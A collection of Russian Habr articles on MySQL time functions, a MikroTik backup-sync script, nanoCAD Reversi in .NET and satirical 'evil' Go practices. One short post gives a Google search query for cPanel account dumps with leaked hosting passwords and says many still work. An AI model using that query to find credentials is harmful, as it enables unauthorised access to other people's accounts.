P.S. Теперь серьёзно: [в документации есть предупреждение, что тип TIMESTAMP превращается в тыкву после 2038-го.](https://dev.mysql.com/doc/refman/8.0/en/datetime.html) А вот о функциях конвертации времени никто не предупреждал. Выходит, что все Unix и многие языки программирования уже перешли на 64-битные метки времени, и только функции MySQL перестанут понимать Unixtime безо всякой видимой причины. | https://habr.com/ru/post/485546/ | null | ru | null |
# Поддержка подогретого бэкапа средствами двух MikroTik'ов
[В прошлой статье](http://habrahabr.ru/post/135541/) я рассказал о возможном способе снимать централизованные резервные копии конфигураций с маршрутизаторов MikroTik. Казалось бы на этом можно и успокоиться, но для некоторых филиалов руководство требует сиюминутного восстановления работы в случае выхода из строя любого участка сети. Первое, что приходит в голову — само собой, нужно иметь рядом две одинаковые железки. Однако вторая логичная мысль — использовать VRRP не подходит в силу ряда причин, одна из которых использование IPSec. Значит нужно снова шаманить костыль и синхронизировать конфигурацию в полуручном режиме, то есть скриптоваться.
#### Логика
1. Подключаемся по ssh к активному маршрутизатору и меняем адрес физического интерфейса, через который подключен подогретый маршрутизатор на 10.0.0.1/24
2. Используя проброс порта фаерволом, подключаемся по ssh к подогретому маршрутизатору через активный
3. Сверяем серийный номер, чтобы удостовериться что подключились на самом деле к подогретому маршрутизатору, дабы не угрохать активный
4. Забираем бэкап по ftp с активного маршрутизатора и перезагружаем подогретый
5. Подключаемся по ssh к активному маршрутизатору и возвращаем изначальный адрес физического интерфейса на 10.0.0.2/24, через который подключен подогретый маршрутизатор
Манипуляции с изменением адреса мне нужны по той причине, что раз в день я снимаю бэкап со всех маршрутизаторов. Далее когда я буду заливать бэкап на подогретый маршрутизатор, мне до него необходимо будет как-то добраться, для этого у него уже будет настроен адрес 10.0.0.2/24, а на активном я временно выставлю адрес 10.0.0.1/24, этот IP в бэкапах никогда фигурировать не будет. Таким образом мы добиваемся идентичности конфигураций.
#### Подключаем подогретую железку
… так, как показано на картинке, а именно — не суть важно как в вашем случае вы подключите интернет и локалку, важно лишь то, чтобы интерфейсы, которыми мы соединим активный и подогретый роутеры, были одинаковыми. Дальше будет понятно почему.
Настроим интерфейсы идентичным образом — да да, ничего криминального в этом нет.
`/add address=10.0.0.2/24 comment=backup disabled=no interface=ether10 network=10.0.0.0`
Еще нам понадобится SSH на борту обоих железок:
`/set ssh address="" disabled=no port=2222`
Пусть будет нестандартный порт, т.к. стандартный мало ли для чего может еще понадобиться.
Сделаем также проброс порта:
`/ip firewall nat add action=dst-nat chain=dstnat comment="dst-nat to knock-to hotbackup" disabled=no dst-port=2422 protocol=tcp to-addresses=10.0.0.2 to-ports=2222
/ip firewall nat add action=src-nat chain=srcnat comment="to knock-to hotbackup we either need to change source address from ssh being connected" disabled=no dst-address=10.0.0.2 dst-port=2222 protocol=tcp to-addresses=10.0.0.1`
Именно так, вторым правилом меняя source address, ведь на резервном маршрутизаторе уже будет какой-то default gateway и он будет пытаться ответить через него, а нам надо в обратку, через активный маршрутизатор.
Кроме этого нужен FTP, но мы его прикроем от посторонних:
`/set ftp address=10.0.0.0/24 disabled=no port=21`
На этом подготовительная работа закончена, рисуем скрипт.
#### Скрипт
Уже есть заготовленная болванка из предыдущего опыта, нужно лишь добавить некоторые штрихи:
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# for SSH
import paramiko
from paramiko import SSHClient
from paramiko import AutoAddPolicy
# for versioning
import datetime
# for file operations
import os
# for sleep
import time
# for strip()
import string
# versioning
Version = datetime.date.today()
print "\n" + str(Version)
# credentials array
arrCreds = (\
("R0", "11.22.33.44", "user0", "password0", "serial0"), \
("R1", "1.1.1.1", "user1", "password1", "serial1"), \
("R2", "2.2.2.2", "user2", "password2", "serial2"), \
)
# FTPD IP
FtpdIP = "10.0.0.1/24"
BackupIP = "10.0.0.2/24"
sshCli = SSHClient()
sshCli.set_missing_host_key_policy(AutoAddPolicy())
LogFile = "/var/log/remotes/scripts/scripts1.log"
paramiko.util.log_to_file(LogFile, level=10)
print "header done"
# loop adresses inside given network
for (site, host, user, Password, SerialNumberA) in arrCreds:
print datetime.datetime.now()
print "\n" + host
# define operations
ChangeBackupIfAddr = '/ip address set [/ip address find address="' + BackupIP + '"] address="' + FtpdIP + '"'
SSHToBackup = "/system ssh address=" + BackupIP.replace('/24', '') + " port=2222 user=" + user + "\n"
GetSerial = ':put [system routerboard get value-name=serial-number]'
GetBackupFromFtp = "/tool fetch address=" + FtpdIP.replace('/24', '') + " mode=ftp src-path=" + site + "_" + host + "_" + str(Version) + ".backup" + " user=" + user + " password=" + Password
ApplyBackup = "/system backup load name=" + site + "_" + host + "_" + str(Version) + ".backup"
ChangeBackupIfAddrA = '/ip address set [/ip address find address="' + FtpdIP + '"] address="' + BackupIP + '"'
# try for not to fail the whole script on one error
try:
print "connecting to active router.." + site + "_" + host + "@" + user + ":" + Password
sshCli.connect(str(host), port=2222, username=str(user), password=str(Password))
time.sleep(2)
print "..done"
print "changing backup interface IP address form 10.0.0.2/24 to 10.0.0.1/24.. " + ChangeBackupIfAddr
sshCli.exec_command(ChangeBackupIfAddr)
print "..done"
print "connecting to hotbackup router.. "
sshCli.connect(str(host), port=2422, username=str(user), password=str(Password))
time.sleep(2)
print "..done"
# we need to check if we're not still on active router
print "checking router serial number.. " + GetSerial
stdin, stdout, stderr = sshCli.exec_command(GetSerial)
type(stdin)
SerialNumberCurrent = stdout.read()
SerialNumberCurrent = SerialNumberCurrent.strip()
print "SNA=" + SerialNumberCurrent
# if SerialNumber == Active router SN, so we are still on active router and must stop script
if SerialNumberCurrent == SerialNumberA:
print "we are still on active device, aborting host processing"
continue
else:
print "successfully connected to hotbackup device, going on futher host processing"
print "downloading backup from active router ftp.. /" + GetBackupFromFtp
sshCli.exec_command(GetBackupFromFtp)
time.sleep(2)
print "..backup downloaded from active router"
print "apply backup on HotBackup.. /" + ApplyBackup
sshCli.exec_command(ApplyBackup)
# and say yes
sshCli.exec_command("y")
time.sleep(2)
print "..done"
print "connecting to active router.. "
sshCli.connect(str(host), port=2222, username=str(user), password=str(Password))
time.sleep(2)
print "..done"
print "giving backup interface address 10.0.0.2/24.."
sshCli.exec_command(ChangeBackupIfAddrA)
time.sleep(2)
print "..done"
except:
print "Error connecting to host", host
```
Когда сломается активный маршрутизатор, нужно будет просто руками переткнуть все провода в подогретый маршрутизатор — у себя я проверил, работает.
#### Минусы
— схема работы такова, что будет маслать встроенную флешку при каждом выполнении, тем самым уменьшая её lifetime, поэтому я бы не советовал выполнять такую операцию чаще, чем один раз в неделю
— способ будет работать только с железом одинаковой модели и одинаковой версии прошивки, в противном случае может сместиться нумерация интерфейсов
— это тот еще костыль и нужно это понимать
Респект хабраюзеру [just\_wow](https://habrahabr.ru/users/just_wow/) за дельный совет по организации массива с учетными данными. | https://habr.com/ru/post/140866/ | null | ru | null |
# Hascgi y или пароли в открытом доступе
CPanel, панель управления хостингом, при создании аккаунта выводит примерно такое:
```
| Domain: masterrr.name
| Ip: 123.456.789.123
| HasCgi: y
| UserName: charlettte
| PassWord: bsd8M1F279G2yTG
```
```
| CpanelMod: x3
| HomeRoot: /homedir
| Quota: infinity Meg
| NameServer1: ns1.gibon.com
| NameServer2: ns2.gibon.com
| Package: VIP
| Language: ru
```
Каково же было мое удивление, когда я ввел в Google «HasCgi: y» (**не** типографские кавычки) и нажал поиск.
Десятки страниц выдачи с данными аккаунтов, причем многие данные подходят…
[](http://img.buratinka.com/images/hascgi.png) | https://habr.com/ru/post/138127/ | null | ru | null |
# Ваш ход, товарищ .NET, или опять Реверси под nanoCAD
Некоторое время назад у нас было большое событие — выход релиза nanoCAD 3.5. Ключевым нововведением этой версии стало открытое API, о котором и пойдёт речь в данной статье.
Как известно лучший способ что-то изучить – сделать это. Когда-то я писал Реверси под nanoCAD на скрипте. Теперь я решил написать Реверси на .NET.
В результате получилось кросс-САПР-платформенное приложение, способное работать не только под nanoCAD-ом. Как это делалось — смотрите под катом.
Программировать под nanoCAD можно было и раньше. На скриптах [dows](http://habrahabr.ru/users/dows/) писал [кривые Серпинского](http://habrahabr.ru/company/nanosoft/blog/86970/), я писал [Реверси](http://habrahabr.ru/company/nanosoft/blog/90742/), были и другие примеры с нашего форума. Это все, конечно, хорошо, но мало. Поэтому, следующий мой ход – .NET.
#### Entry level.
Первое, что нужно было сделать – создать сборку, содержащую код, исполняемый в nanoCAD:
* создаём проект: Visual C#, Class Library,
* добавляем в References библиотеки .NET nanoCAD-а: hostdbmgd.dll, hostmgd.dll,
* регистрируем в nanoCAD команду.
Метод, который будет регистрироваться в качестве команды, должен иметь модификатор public и быть помеченным специальным атрибутом CommandMethod.
Например, HelloWorld выглядит так:
```
[CommandMethod("HelloWorld")]
public void HelloWorld ()
{
Editor ed = Platform.ApplicationServices.Application.DocumentManager.MdiActiveDocument.Editor;
// Выводим в командную строку сообщение
ed.WriteMessage("Добро пожаловать в управляемый код nanoCAD!");
}
```
И ВСЕ!
Не пишу об этом более подробно, так как об этом можно прочитать в nanoCAD SDK. Где взять? [В Клубе разработчиков nanoCAD](http://developer.nanocad.ru/), регистрация открыта.
#### Структура.
Игру я разделил на несколько классов: класс игры, класс игровой доски, класс информационной панели, класс игровой фишки:
* класс игры должен содержать алгоритмы проверки возможности сделать ход по определенным координатам, поиска хода компьютера, подсчета фишек игроков, решения о продолжении игры;
* класс доски – отрисовывать доску, хранить ее содержание;
* класс информационная панель — показывать результаты прохождения партии;
* класс фишки – отрисовывать фишку, уметь менять ее цвет, хранить всю информацию, касающуюся конкретной игровой ячейки.
Каждый класс должен быть максимально самостоятельным.
Дальше мне нужно было научиться создавать объекты, менять их и общаться с пользователем.
#### Создание объектов. Мат. часть.
Прежде чем рисовать реверси нужно было понять – что делать, за что браться.
Для того, чтобы создать объекты, нужно немного знать о структуре документа. В каждом документе есть база данных. В базе данных хранятся объекты, содержащиеся в чертеже, и их связи друг с другом. Все хранится в БД: и линии с дугами, и пространство модели, и стили текстов и многое другое. Добавляя новый объект в чертеж, нужно добавить его в базу данных. А где есть база данных, там есть и транзакции.
Транзакции нужны, чтобы защитить наш документ: если в результате выполнения кода был сбой – объекты, добавленные этим кодом, не попадут в документ – транзакция будет отменена. Если все завершится успешно — транзакция будет подтверждена и объекты будут добавлены.
```
Database db = Application.DocumentManager.MdiActiveDocument.Database;
TransactionManager tm = db.TransactionManager;
using (Transaction tr = tm.StartTransaction())
{
...
tr.Commit();
}
```
Просто создать объект мало. Он останется никуда не присоединенным и висящим «в воздухе». Объект нужно куда-то поместить. Обычно это модельное пространство. В скриптах было что-то похожее — сказал модельному пространству «сделай линию» – она там появится. В .NET немного по другому — нужно добавить созданный объект в модельное пространство и в транзакцию.
```
using (Transaction tr = tm.StartTransaction())
{
BlockTable bt = tr.GetObject(db.BlockTableId, OpenMode.ForRead, false) as BlockTable;
BlockTableRecord ms = tr.GetObject(bt[BlockTableRecord.ModelSpace], OpenMode.ForWrite, false) as BlockTableRecord;
Line line = new Line();
ObjectId lid = ms.AppendEntity(line); // добавляем в модельное пространство
tr.AddNewlyCreatedDBObject(line, true); // и в транзакцию
tr.Commit(); // сохраняем изменения
}
```
Каждый объект, добавленный в базу данных, однозначно определяется по личному коду — ObjectId. Используя ObjectId можно открывать объекты для чтения или записи.
#### Создание объектов 2. Полный вперед.
Отлично. Вооружившись знаниями о внутренней кухне документа, можно, наконец, начинать разрабатывать класс игровой доски. Нет доски – нет и партии. Поэтому первое, что я начал делать – рисовать клетки в пространстве документа.
Клетки я делал из штриховок. Открыв в NCadSDK.chm описание объекта Hatch (документация входит в SDK, доступный членам [Клуба разработчиков](http://developer.nanocad.ru/)), я почерпнул нужные мне знания. Третий абзац сразу сообщил мне, что штриховка состоит из петель, а список методов объекта штриховки подсказал магическое слово AppendLoop(). Вот то, что мне нужно, подумал я.
Итак, каждую клетку я строил из квадратной полилинии, которую закрашивала штриховка. Все штриховки вместе образовывали квадрат 8 на 8 клеток.
Дальше – по накатанной, все как в прошлый раз: бордюры и фишки создаю из объектов 3Dmesh. Бордюр это полигон 2 на 2 вершины. Вычисляю координаты вершин, создаю их, добавляю в сеть, сеть добавляю в модель.
```
using (Transaction tr = tm.StartTransaction())
{
// создаем сеть
PolygonMesh mesh = new PolygonMesh();
mesh.NSize = 2;
mesh.MSize = 2;
ms.AppendEntity(mesh);
tr.AddNewlyCreatedDBObject(mesh, true);
// создаем и добавляем вершины
AddVertexToMesh(mesh, new Point3d(col*gridstep, 0,-linehight), tr);
AddVertexToMesh(mesh, new Point3d(col*gridstep, 0, linehight), tr);
AddVertexToMesh(mesh, new Point3d(col*gridstep,8*gridstep,-linehight), tr);
AddVertexToMesh(mesh, new Point3d(col*gridstep,8*gridstep,linehight), tr);
tr.Commit();
}
// содаем вершину сети
private void AddVertexToMesh(PolygonMesh PolyMesh, Point3d Pt3d, Transaction Trans)
{
PolygonMeshVertex PMeshVer = new PolygonMeshVertex(Pt3d);
PolyMesh.AppendVertex(PMeshVer);
Trans.AddNewlyCreatedDBObject(PMeshVer, true);
}
```
Отлично. Клетки есть, разделители есть. Нарисовать фишку теперь тоже не трудно. Формулы вычисления координат вершин шарика я взял из скриптовой версии игры. Правда, я их подправил, чтобы объект больше походил на игровую фишку реверси.
Вот, что у меня получилось в результате:
#### «Я полсотни третий, выхожу на квадрат».
Теперь нужно научиться реагировать на действия пользователя.
Тут снова нужно упомянуть про мат. часть. Кроме базы данных, есть еще несколько объектов, которые относятся не к самому документу, а к приложению в целом. Это, например, объект Application, коллекция всех документов, открытых в приложении DocumentCollection. И это объект взаимодействия с пользователем – Editor. Есть и другие, но я их сейчас не касаюсь.
У объекта Editor есть ряд методов для взаимодействия с пользователем: запрос объектов, запрос строки, числа, области. Запрос объекта осуществляется методом GetEntity(PromptEntityOptions). Объект PromptEntityOptions – это необязательные параметры. Через этот объект задается строка приглашения, ключевые слова (если нужны), выставляются ограничения на выбор объектов. Подобный объект принимают все методы ввода.
Принцип хода остался прежний – пользователь выбирает клетку, куда хочет пойти. Клетка – это объект «штриховка». Поэтому – указываю, что принимаем в качестве ввода только объекты штриховки, пустой выбор – запретить, обязательно должен быть объект. И пишем строку приглашения.
```
Editor ed = Application.DocumentManager.MdiActiveDocument.Editor;
ObjectId selectObj = ObjectId.Null;
PromptEntityOptions opts = new PromptEntityOptions("Ваш ход.Укажите ячейку");
opts.SetRejectMessage("\nТолько ячейка может быть выбрана.");
opts.AddAllowedClass(typeof(Hatch), false);
PromptEntityResult pr = ed.GetEntity(opts);
```
По клетке определяется, куда именно пользователь хочет поставить свою фишку. Далее алгоритм проверяет, можно ли это сделать, если да – происходит ход игрока и нужные фишки переворачиваются.
#### Перекрашивание существующих фишек.
Как я уже писал – все объекты живут внутри базы данных. Это значит, что для того чтобы прочитать или изменить свойства какого-либо объекта, этот объект нужно открыть. Открытие объектов происходит методом транзакции GetObject(). По завершению изменений транзакция подтверждается.
```
using (Transaction myT = db.TransactionManager.StartTransaction())
{
// pieceId – это id перекрашиваемой фишки в БД
// открываем объект pieceId для изменений - OpenMode.ForWrite
PolygonMesh piece = myT.GetObject(this.pieceId, OpenMode.ForWrite) as PolygonMesh;
// присваиваем цвет в засисимости от того чья фишка
piece.Color = (player == ePlayer.Human) ? Constants.HumanColor: Constants.PcColor;
// подверждает транзакцию
myT.Commit();
}
```
#### Вкусняшки.
Я сделал две структуры данных для хранения игровой доски в памяти: массив и словарь.
Массив хранит образ доски 8 на 8, а словарь соответствия элемент клетки — ObjectId-штриховки. Обе структуры данных хранят ссылки на объекты игровой доски. При таком подходе можно не заботиться о синхронизации. Меняется будет только элемент Piece. А получить его всегда можно по ссылке. Не важно из массива или из словаря.
```
Dictionary GameDesc = new Dictionary();
Piece[,] GameDesc\_xy = new Piece[8, 8];
```
В отличии от скриптов, на .NET многие вещи мне удалось сделать красивее и проще. Возможности фрэймворка несли приятные вкусности. К примеру, с использованием LINQ структуры данных обрабатывались почти сами собой. Подсчет количества фишек пользователя – в одну строку. Выбор клетки для хода компьютера – один запрос. Красота.
```
int GetCounterCount(ePlayer player)
{
// подсчет фишек игрока player
return gamedesk.GameDesc.Where(x => x.Value.Player == player).Count();
}
```
#### Компиляция и запуск игры
Исходники игры можно взять [тут](http://ftp.nanocad.ru/habr/reversiMgd/MgdReversi.zip). Нужно открыть проект в Visual Studio или SharpDeveloper и скомпилировать. Пути проекта настроены с расчетом на то, что nanoCAD установлен в стандартную директорию.
Если исходники Вам не нужны, а хочется просто посмотреть на реверси, можно скачать собранный нами [модуль](http://ftp.nanocad.ru/habr/reversiMgd/MgdReversi_dll.zip).
Для запуска игры нужно загрузить сборку MgdReversi.dll в nanoCAD командой NETLOAD. Теперь можно запускать игру командой PLAY.
#### Что не успел сделать.
Было бы интересно в середине игры остановиться, сохранить в nanoCAD-е игру в файл, открыть файл в AutoCAD-е и доиграть, ведь формат файла в обеих системах один и тот же.
Но, для этого нужно переделать архитектуру приложения, сейчас информация о состоянии игры хранится в памяти команды, а нужно ее сохранять в объектах чертежа (поле, фишки), которые сохраняются в файл. Оставим это на будущее.
А до тех пор можно играть в Реверси не останавливаясь, от начала и до конца игры, что под AutoCAD-ом, что под nanoCAD-ом, и там, и там игра работает одинаково. Достаточно лишь пересобрать Реверси под AutoCAD, используя его SDK, ObjectARX, это не сложно. | https://habr.com/ru/post/135173/ | null | ru | null |
# Делать хорошо, делая плохо: написание «злого» кода с помощью Go, часть 1
#### *Вредные советы для Go-программиста*
После десятилетий программирования на Java, последние несколько лет я в основном работал на Go. Работать с Go — здорово, прежде всего потому, что за кодом очень легко следовать. Java упростила модель программирования C ++, удалив множественное наследование, ручное управление памятью и перегрузку операторов. Go делает то же самое, продолжая двигаться к простому и понятному стилю программирования, полностью удаляя наследование и перегрузку функций. Простой код — читаемый код, а читаемый код — поддерживаемый код. И это здорово для компании и моих сотрудников.
Как и во всех культурах, у разработки программного обеспечения есть свои легенды, истории, которые пересказываются у кулера для воды. Все мы слышали о разработчиках, которые вместо того, чтобы сосредоточиться на создании качественного продукта, зацикливаются на защите собственной работы от посторонних. Им не нужен поддерживаемый код, потому что это означает, что другие люди смогут его понять и доработать. А возможно ли такое на Go? Можно ли сделать код на Go настолько сложным? Скажу сразу – дело это непростое. Давайте рассмотрим возможные варианты.
Вы думаете: «*Насколько сильно можно испоганить код на языке программирования? Возможно ли написать настолько ужасный код на Go, чтобы его автор стал незаменимым в компании?*» Не волнуйтесь. Когда я был студентом, у меня был проект, в котором я поддерживал чужой код на Lisp-e, написанный аспирантом. По сути, он умудрился написать код на Fortran-e, используя Lisp. Код выглядел примерно так:
```
(defun add-mult-pi (in1 in2)
(setq a in1)
(setq b in2)
(setq c (+ a b))
(setq d (* 3.1415 c)
d
)
```
Там были десятки файлов такого кода. Он был абсолютно ужасным и абсолютно гениальным одновременно. Я потратил месяцы, пытаясь разобраться в нем. По сравнению с этим написать плохой код на Go – раз плюнуть.
Есть много разных способов сделать код неподдерживаемым, но мы рассмотрим лишь несколько. Чтобы правильно сделать зло, нужно сперва научиться делать добро. Поэтому мы, сначала посмотрим, как пишут «добрые» программисты Go, а затем разберем, как можно сделать обратное.
### Плохая упаковка
Пакеты — удобная тема, чтобы с нее начать. Каким образом организация кода может ухудшить читаемость?
В Go имя пакета используется для ссылки на экспортируемую сущность (например, `*fmt.Println*` или `*http.RegisterFunc*`). Поскольку нам видно имя пакета, «добрые» программисты Go следят за тем, чтобы это имя описывало то, что представляют собой экспортируемые сущности. У нас не должно быть пакетов util, потому что нам не подойдут имена вроде `*util.JSONMarshal*`, — нам нужен `*json.Marshal*`.
«Добрые» разработчики Go также не создают отдельного пакета для DAO или модели. Для тех, кто не знаком с этим термином, DAO — это «*data access object* (объект доступа к данным)» — слой кода, который взаимодействует с вашей базой данных. Раньше я работал в компании, где 6 Java-сервисов импортировали одну и ту же библиотеку DAO для доступа к одной и той же базе данных, которую они использовали совместно, потому что «*…ну, знаете, — микросервисы же…*».
Если у вас есть отдельный пакет со всеми вашими DAO, то возрастает вероятность того, что вы получите циклическую зависимость между пакетами, которая в Go запрещена. И если у вас есть несколько сервисов, которые подключают данный пакет DAO в качестве библиотеки, вы также можете столкнуться с ситуацией, когда изменение в одной службе требует обновления всех ваших сервисов, иначе что-то сломается. Это называется распределенным монолитом, и его невероятно сложно обновлять.
Когда вы знаете, как должна работать упаковка, и что ее ухудшает, «начать служить злу» становится просто. Плохо организуйте свой код и дайте своим пакетам дурные имена. Разбейте ваш код на пакеты, такие как *model*, *util* и *dao*. Если вы действительно хотите начать «творить беспредел», попробуйте создавать пакеты в честь вашего котика или любимого цвета. Когда люди сталкиваются с циклическими зависимостями или распределенными монолитами из-за того, что пытаются использовать ваш код, вам приходится вздыхать, закатывать глаза и говорить им, что они просто делают не так…
### Неподходящие интерфейсы
Теперь, когда все наши пакеты испорчены, мы можем перейти к интерфейсам. Интерфейсы в Go не похожи на интерфейсы в других языках. То, что вы не объявляете явно, что данный тип реализует интерфейс, поначалу кажется незначительным, но на самом деле он полностью переворачивает концепцию интерфейсов.
В большинстве языков с абстрактными типами интерфейс определяется до или одновременно с реализацией. Вам придется это делать хотя бы для тестирования. Если вы не создадите интерфейс заранее, вы не сможете вставить его позже, не поломав весь код, который использует данный класс. Потому что придется его переписать со ссылкой на интерфейс вместо конкретного типа.
По этой причине Java-код часто имеет гигантские сервисные интерфейсы со множеством методов. Классы, которые реализуют эти интерфейсы, затем используют нужные им методы и игнорируют остальные. Написание тестов возможно, но вы добавляете дополнительный уровень абстракции, и при написании тестов вы часто прибегаете к использованию инструментов генерации реализаций тех методов, которые вам не нужны.
В Go неявные интерфейсы определяют, какие методы вам нужно использовать. Код владеет интерфейсом, а не наоборот. Даже если вы используете тип со множеством определенных в нем методов, вы можете указать тот интерфейс, который включает только нужные вам методы. Другой код, использующий отдельные поля того же типа, будет определять другие интерфейсы, которые охватывают только тот функционал, который необходим. Обычно такие интерфейсы имеют лишь пару-тройку методов.
Это облегчает понимание вашего кода, потому что объявление метода не только определяет, какие данные ему нужны, но и точно указывает, какую функциональность он собирается использовать. Это одна из причин, почему хорошие разработчики Go следуют совету: «*Принимайте интерфейсы, возвращайте структуры*».
Но только потому, что это хорошая практика, вовсе не значит, что вы должны так делать…
Лучший способ сделать ваши интерфейсы «злыми» — вернуться к принципам использования интерфейсов из других языков, т.е. заранее определять интерфейсы, как часть вызываемого кода. Определяйте огромные интерфейсы со множеством методов, которые используются всеми клиентами службы. Становится неясно, какие методы действительно необходимы. Это усложняет код, а усложнение, как известно, — лучший друг «злого» программиста.
### Передача указателей «до кучи»
Прежде чем объяснить, что это значит, надо немного пофилософствовать. Если отвлечься и подумать, — каждая написанная программа делает одно и то же. Она принимает данные, обрабатывает их, а затем отправляет обработанные данные в другое место. Это так, независимо от того, пишете ли вы систему начисления заработной платы, принимаете HTTP-запросы и возвращаете обратно веб-страницы, или даже чекаете джойстик, чтобы отследить нажатие кнопки — программы обрабатывают данные.
Если мы взглянем на программы таким образом, — самое главное, что нужно будет сделать, — это убедиться, что нам легко понять, как преобразуются данные. И потому хорошей практикой будет сохранять данные в неизменном состоянии как можно дольше в течение программы. Потому что данные, которые не меняются, — это данные, которые легко отслеживать.
В Go у нас есть ссылочные типы и типы значений. Разница между ними в том, ссылается ли переменная на копию данных или на место данных в памяти. Указатели, слайсы, мапы, каналы, интерфейсы и функции являются ссылочными типами, а все остальное — типом значения. Если вы присваиваете переменную типа значения другой переменной, она создает копию значения; изменение одной переменной не меняет значение другой.
Присвоение одной переменной ссылочного типа другой переменной ссылочного типа означает, что они оба совместно используют одну и ту же область памяти, поэтому, если вы изменяете данные, на которые указывает первая, вы изменяете данные, на которые указывает вторая. Это истинно как для локальных переменных, так и для параметров функций.
```
func main() {
//тип значений
a := 1
b := a
b = 2
fmt.Println(a, b) // prints 1 2
//ссылочные типы
c := &a
*c = 3
fmt.Println(a, b, *c) // prints 3 2 3
}
```
«Добрые» разработчики Go хотят упростить понимание того, как собираются данные. Они стараются использовать тип значений в качестве параметров функций как можно чаще. В Go нет способа пометить поля в структурах или параметры функции как final. Если функция использует параметры-значения, изменение параметров не изменит переменных в вызывающей функции. Все, что может сделать вызываемая функция — это вернуть значение в вызывающую функцию. Таким образом, если вы заполняете структуру, вызывая функцию с параметрами-значений, вы можете не бояться передавать данные в структуру, поскольку понимаете, откуда пришло каждое поле в структуре.
```
type Foo struct {
A int
B string
}
func getA() int {
return 20
}
func getB(i int) string {
return fmt.Sprintf("%d",i*2)
}
func main() {
f := Foo{}
f.A = getA()
f.B = getB(f.A)
//Я точно знаю, что пришло в f
fmt.Println(f)
}
```
Ну и как нам стать «злыми»? Очень просто – перевернув эту модель.
Вместо того чтобы вызывать функции, которые возвращают нужные значения, вы передаете указатель на структуру в функции и позволяете им вносить изменения в структуру. Поскольку каждая функция владеет всей структурой, единственный способ узнать, какие поля изменяются, — просмотреть весь код. У вас также могут быть неявные зависимости между функциями – 1я функция передает данные, необходимые 2й функции. Но в самом коде ничто не указывает на то, что вы должны сначала вызвать 1ю функцию. Если вы построите свои структуры данных таким образом, можете быть уверены, — никто не поймет, что делает ваш код.
```
type Foo struct {
A int
B string
}
func setA(f *Foo) {
f.A = 20
}
//Секретная зависимость для f.A!
func setB(f *Foo) {
f.B = fmt.Sprintf("%d", f.A*2)
}
func main() {
f := Foo{}
setA(&f)
setB(&f)
//Кто знает, что setA и setB
//делают и от чего зависят?
fmt.Println(f)
}
```
### Всплытие паники
Теперь мы приступаем к обработке ошибок. Наверное, вы думаете, что плохо писать программы, которые обрабатывают ошибки, примерно, на 75%, — и я не скажу, что вы неправы. Код Go часто заполнен обработкой ошибок с головы до пят. И конечно, было бы удобно обрабатывать их не так прямолинейно. Ошибки случаются, и их обработка — это то, что отличает профессионалов от новичков. Невнятная обработка ошибок приводит к нестабильным программам, которые трудно отлаживать и сложно поддерживать. Иногда быть «добрым» программистом — значит «напрягаться».
```
func (dus DBUserService) Load(id int) (User, error) {
rows, err := dus.DB.Query("SELECT name FROM USERS WHERE ID = ?", id)
if err != nil {
return User{}, err
}
if !rows.Next() {
return User{}, fmt.Errorf("no user for id %d", id)
}
var name string
err = rows.Scan(&name)
if err != nil {
return User{}, err
}
err = rows.Close()
if err != nil {
return User{}, err
}
return User{Id: id, Name: name}, nil
}
```
Многие языки, такие как C ++, Python, Ruby и Java, используют исключения для обработки ошибок. Если что-то идет не так, разработчики на этих языках бросают или вызывают исключение, ожидая, что какой-нибудь код его обработает. Конечно, программа рассчитывает, что клиент знает о возможном выбросе ошибке в данном месте, чтобы была возможно сгенерировать исключение. Потому что, за исключением (без каламбура) проверяемых исключений Java, в языках или функциях нет ничего в сигнатуре метода, чтобы указать, что может возникнуть исключение. Так как же разработчикам узнать, о каких исключениях надо беспокоиться? У них есть два варианта:
* Во-первых, они могут прочитать весь исходный код всех библиотек, которые вызывает их код, и всех библиотек, которые вызывают вызванные библиотеки, и т.д.
* Во-вторых, они могут довериться документации. Возможно, я отношусь предвзято, но личный опыт не позволяет мне полностью доверять документации.
Итак, как же нам принести это зло в Go? Злоупотребляя паникой (*panic*) и рекавером (*recover*), конечно! Паника предназначена для таких ситуаций, как «диск отвалился» или «сетевая карта взорвалась». Но не для таких — «кто-то передал string вместо int».
К сожалению, другие, «менее просвещенные разработчики» будут возвращать ошибки из своего кода. Поэтому вот небольшая вспомогательная функция PanicIfErr. Используйте ее, чтобы превратить ошибки других разработчиков в панику.
```
func PanicIfErr(err error) {
if err != nil {
panic(err)
}
}
```
Вы можете использовать PanicIfErr, чтобы обертывать чужие ошибки, ужимать код. Не надо больше уродской обработки ошибок! Любая ошибка — теперь паника. Это так продуктивно!
```
func (dus DBUserService) LoadEvil(id int) User {
rows, err := dus.DB.Query(
"SELECT name FROM USERS WHERE ID = ?", id)
PanicIfErr(err)
if !rows.Next() {
panic(fmt.Sprintf("no user for id %d", id))
}
var name string
PanicIfErr(rows.Scan(&name))
PanicIfErr(rows.Close())
return User{Id: id, Name: name}
}
```
Вы можете помещать рекавер где-то поближе к началу программы, может, в собственном мидлвер (*middleware*). А потом говорить, что вы не только обрабатываете ошибки, но и делаете чужой код чище. Совершать зло тем, что делаешь добро, — это лучший вид зла.
```
func PanicMiddleware(h http.Handler) http.Handler {
return http.HandlerFunc(
func(rw http.ResponseWriter, req *http.Request){
defer func() {
if r := recover(); r != nil {
fmt.Println("Да, что-то произошло.")
}
}()
h.ServeHTTP(rw, req)
}
)
}
```
### Настройка побочных эффектов
Далее мы создадим сайд-эффект. Помните, «добрый» разработчик Go хочет понять, как данные проходят через программу. Лучший способ знать, через что проходят данные — это настройка явных зависимостей в приложении. Даже сущности, которые соответствуют одному и тому же интерфейсу, могут сильно разниться в поведениях. Например, код, который сохраняет данные в памяти, и код, который обращается к БД за той же работой. Тем не менее, существуют способы установить зависимости в Go без явных вызовов.
Как и во многих других языках, в Go есть способ магически выполнять код, не вызывая его напрямую. Если вы создадите функцию с именем init без параметров, она автоматически запустится при загрузке пакета. И, чтобы еще более запутать, если в одном файле несколько функций с именем init или несколько файлов в одном пакете, они запустятся все.
```
package account
type Account struct{
Id int
UserId int
}
func init() {
fmt.Println("Я исполняюсь магически!")
}
func init() {
fmt.Println("Я тоже исполняюсь магически, и меня тоже зовут init()")
}
```
Функции init часто связаны с пустым импортом. В Go есть специальный способ объявления импорта, который выглядит как `import \_“ github.com/lib/pq`. Когда вы устанавливаете пустой идентификатор имени для импортированного пакета, в нем запускается метод init, но при этом не показывает ни один из идентификаторов пакета. Для некоторых библиотек Go — таких как драйверы БД или форматы изображений — вы должны их загрузить, включив пустой импорт пакета, просто чтобы вызвать функцию init, чтобы пакет мог зарегистрировать свой код.
```
package main
import _ "github.com/lib/pq"
func main() {
db, err := sql.Open(
"postgres",
